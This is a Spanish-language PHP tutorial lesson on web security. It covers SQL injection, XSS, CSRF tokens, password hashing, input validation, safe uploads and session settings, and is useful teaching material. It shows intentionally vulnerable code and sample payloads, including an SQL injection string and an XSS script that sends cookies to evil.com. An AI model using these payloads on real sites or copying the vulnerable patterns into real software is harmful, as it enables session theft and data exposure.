Leccion 66 de 75 15 min de lectura

Seguridad en PHP

La seguridad es fundamental en cualquier aplicacion web. Conocer los ataques mas comunes y como prevenirlos te ayudara a proteger tus aplicaciones y los datos de tus usuarios.

SQL Injection

SQL Injection ocurre cuando un atacante puede insertar codigo SQL malicioso a traves de datos de entrada. Es uno de los ataques mas peligrosos y comunes.

PHP
<?php

declare(strict_types=1);

// VULNERABLE: concatenacion directa
$email = $_POST['email'];
$query = "SELECT * FROM usuarios WHERE email = '$email'";

// Un atacante podria enviar:
// email = "' OR '1'='1"
// Resultado: SELECT * FROM usuarios WHERE email = '' OR '1'='1'
// Esto devolveria TODOS los usuarios!
PHP
<?php

declare(strict_types=1);

// SEGURO: usar prepared statements
$pdo = new PDO('mysql:host=localhost;dbname=app', 'user', 'pass');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$email = $_POST['email'];

// El valor se pasa como parametro, nunca se concatena
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = :email');
$stmt->execute(['email' => $email]);
$usuario = $stmt->fetch(PDO::FETCH_ASSOC);

// Alternativa con marcadores de posicion ?
$stmt = $pdo->prepare('SELECT * FROM usuarios WHERE email = ?');
$stmt->execute([$email]);
Regla de oro

NUNCA concatenes datos de usuario directamente en consultas SQL. Siempre usa prepared statements.

XSS (Cross-Site Scripting)

XSS permite a un atacante inyectar scripts maliciosos en paginas que otros usuarios veran. Puede robar cookies, sesiones o datos.

PHP
<?php

declare(strict_types=1);

// VULNERABLE: mostrar datos sin escapar
$nombre = $_GET['nombre'];
echo "<h1>Hola, $nombre</h1>";

// Un atacante podria enviar:
// ?nombre=<script>document.location='http://evil.com/robar.php?cookie='+document.cookie</script>
PHP
<?php

declare(strict_types=1);

// SEGURO: escapar HTML con htmlspecialchars
$nombre = $_GET['nombre'] ?? '';
$nombreSeguro = htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8');
echo "<h1>Hola, $nombreSeguro</h1>";

// Crear funcion helper para no repetir
function escape(string $texto): string
{
    return htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
}

// Uso
echo "<p>" . escape($comentario) . "</p>";

CSRF (Cross-Site Request Forgery)

CSRF engana al usuario para que ejecute acciones no deseadas en un sitio donde esta autenticado.

PHP
<?php

declare(strict_types=1);

// Generar token CSRF
function generarTokenCsrf(): string
{
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// Verificar token CSRF
function verificarTokenCsrf(string $token): bool
{
    return hash_equals($_SESSION['csrf_token'] ?? '', $token);
}
PHP
<!-- En el formulario HTML -->
<form method="POST" action="/transferir">
    <input type="hidden" name="csrf_token" value="<?= generarTokenCsrf() ?>">
    <input type="text" name="cantidad">
    <button type="submit">Transferir</button>
</form>
PHP
<?php

declare(strict_types=1);

// Al procesar el formulario
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $tokenRecibido = $_POST['csrf_token'] ?? '';

    if (!verificarTokenCsrf($tokenRecibido)) {
        http_response_code(403);
        die('Token CSRF invalido');
    }

    // Procesar la accion...
}

Hashing de contrasenas

Las contrasenas nunca deben guardarse en texto plano. PHP proporciona funciones seguras para hashear y verificar.

PHP
<?php

declare(strict_types=1);

// INCORRECTO: nunca uses md5 o sha1 para contrasenas
$hash = md5($password);       // INSEGURO
$hash = sha1($password);      // INSEGURO

// CORRECTO: usar password_hash
$password = $_POST['password'];

// Crear hash al registrar usuario
$hash = password_hash($password, PASSWORD_DEFAULT);
// Guardar $hash en la base de datos

// Verificar al hacer login
$hashGuardado = obtenerHashDeBD($email);

if (password_verify($password, $hashGuardado)) {
    // Contrasena correcta
    $_SESSION['usuario_id'] = $usuario['id'];
} else {
    // Contrasena incorrecta
}
PHP
<?php

declare(strict_types=1);

// Verificar si el hash necesita actualizarse (algoritmo mejorado)
if (password_needs_rehash($hashGuardado, PASSWORD_DEFAULT)) {
    $nuevoHash = password_hash($password, PASSWORD_DEFAULT);
    actualizarHashEnBD($usuarioId, $nuevoHash);
}

Validacion de entrada

Nunca confies en datos que vienen del usuario. Siempre valida y sanea toda entrada.

PHP
<?php

declare(strict_types=1);

// Validar email
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
if ($email === false || $email === null) {
    die('Email invalido');
}

// Validar entero
$edad = filter_input(INPUT_POST, 'edad', FILTER_VALIDATE_INT);
if ($edad === false || $edad === null) {
    die('Edad invalida');
}

// Sanear texto (eliminar HTML)
$comentario = filter_input(INPUT_POST, 'comentario', FILTER_SANITIZE_SPECIAL_CHARS);

// Validar URL
$url = filter_input(INPUT_POST, 'url', FILTER_VALIDATE_URL);

// Validar con opciones
$precio = filter_input(INPUT_POST, 'precio', FILTER_VALIDATE_FLOAT, [
    'options' => ['min_range' => 0, 'max_range' => 10000]
]);

Subida segura de archivos

PHP
<?php

declare(strict_types=1);

function subirImagen(array $archivo): string
{
    // Verificar que no hubo errores
    if ($archivo['error'] !== UPLOAD_ERR_OK) {
        throw new RuntimeException('Error al subir archivo');
    }

    // Verificar tamano (max 2MB)
    $maxSize = 2 * 1024 * 1024;
    if ($archivo['size'] > $maxSize) {
        throw new RuntimeException('Archivo demasiado grande');
    }

    // Verificar tipo MIME real (no confiar en extension)
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    $tipoReal = $finfo->file($archivo['tmp_name']);

    $tiposPermitidos = ['image/jpeg', 'image/png', 'image/gif'];
    if (!in_array($tipoReal, $tiposPermitidos, true)) {
        throw new RuntimeException('Tipo de archivo no permitido');
    }

    // Generar nombre aleatorio (no usar nombre original)
    $extension = match ($tipoReal) {
        'image/jpeg' => 'jpg',
        'image/png' => 'png',
        'image/gif' => 'gif',
        default => throw new RuntimeException('Extension desconocida'),
    };

    $nombreNuevo = bin2hex(random_bytes(16)) . '.' . $extension;
    $rutaDestino = '/var/www/uploads/' . $nombreNuevo;

    // Mover archivo
    if (!move_uploaded_file($archivo['tmp_name'], $rutaDestino)) {
        throw new RuntimeException('Error al guardar archivo');
    }

    return $nombreNuevo;
}

// Uso
$nombreArchivo = subirImagen($_FILES['imagen']);

Configuracion segura de sesiones

PHP
<?php

declare(strict_types=1);

// Configurar antes de session_start()
ini_set('session.cookie_httponly', '1');  // No accesible via JavaScript
ini_set('session.cookie_secure', '1');    // Solo HTTPS
ini_set('session.cookie_samesite', 'Strict'); // Proteccion CSRF
ini_set('session.use_strict_mode', '1');  // Rechazar IDs no generados por servidor

session_start();

// Regenerar ID despues de login (previene session fixation)
function loginUsuario(int $usuarioId): void
{
    session_regenerate_id(true);
    $_SESSION['usuario_id'] = $usuarioId;
    $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
}

// Verificar sesion en cada peticion
function verificarSesion(): bool
{
    if (!isset($_SESSION['usuario_id'])) {
        return false;
    }

    // Verificar que IP y User-Agent no cambiaron
    if ($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
        return false;
    }

    if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        return false;
    }

    return true;
}

Ejercicios

Ejercicio 1: Proteger consulta SQL

Convierte esta consulta vulnerable en una segura:

PHP
<?php

$id = $_GET['id'];
$nombre = $_POST['nombre'];

$query = "UPDATE productos SET nombre = '$nombre' WHERE id = $id";
Ver solucion
PHP
<?php

declare(strict_types=1);

$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
$nombre = $_POST['nombre'] ?? '';

if ($id === false || $id === null) {
    die('ID invalido');
}

$stmt = $pdo->prepare('UPDATE productos SET nombre = :nombre WHERE id = :id');
$stmt->execute([
    'nombre' => $nombre,
    'id' => $id
]);

Ejercicio 2: Escapar salida HTML

Haz seguro este código que muestra comentarios de usuarios:

PHP
<div class="comentarios">
    <?php foreach ($comentarios as $c): ?>
        <div class="comentario">
            <strong><?= $c['autor'] ?></strong>
            <p><?= $c['texto'] ?></p>
        </div>
    <?php endforeach; ?>
</div>
Ver solucion
PHP
<?php

declare(strict_types=1);

function e(string $texto): string
{
    return htmlspecialchars($texto, ENT_QUOTES, 'UTF-8');
}
?>

<div class="comentarios">
    <?php foreach ($comentarios as $c): ?>
        <div class="comentario">
            <strong><?= e($c['autor']) ?></strong>
            <p><?= e($c['texto']) ?></p>
        </div>
    <?php endforeach; ?>
</div>

Ejercicio 3: Sistema de login seguro

Implementa verificacion de contrasena segura:

PHP
<?php

// Tienes: $email y $password del formulario
// Tienes: funcion buscarUsuario($email) que devuelve ['id', 'email', 'password_hash']
// Implementa el login seguro
Ver solucion
PHP
<?php

declare(strict_types=1);

session_start();

$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$password = $_POST['password'] ?? '';

if ($email === false || $email === null || $password === '') {
    die('Datos invalidos');
}

$usuario = buscarUsuario($email);

if ($usuario === null) {
    // No revelar si el email existe o no
    die('Credenciales incorrectas');
}

if (!password_verify($password, $usuario['password_hash'])) {
    die('Credenciales incorrectas');
}

// Regenerar ID de sesion para prevenir session fixation
session_regenerate_id(true);

$_SESSION['usuario_id'] = $usuario['id'];
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];

// Verificar si el hash necesita actualizarse
if (password_needs_rehash($usuario['password_hash'], PASSWORD_DEFAULT)) {
    $nuevoHash = password_hash($password, PASSWORD_DEFAULT);
    actualizarHash($usuario['id'], $nuevoHash);
}

header('Location: /dashboard');
exit;

Te está gustando el curso?

Tenemos cursos premium con proyectos reales y soporte personalizado.

Descubrir cursos premium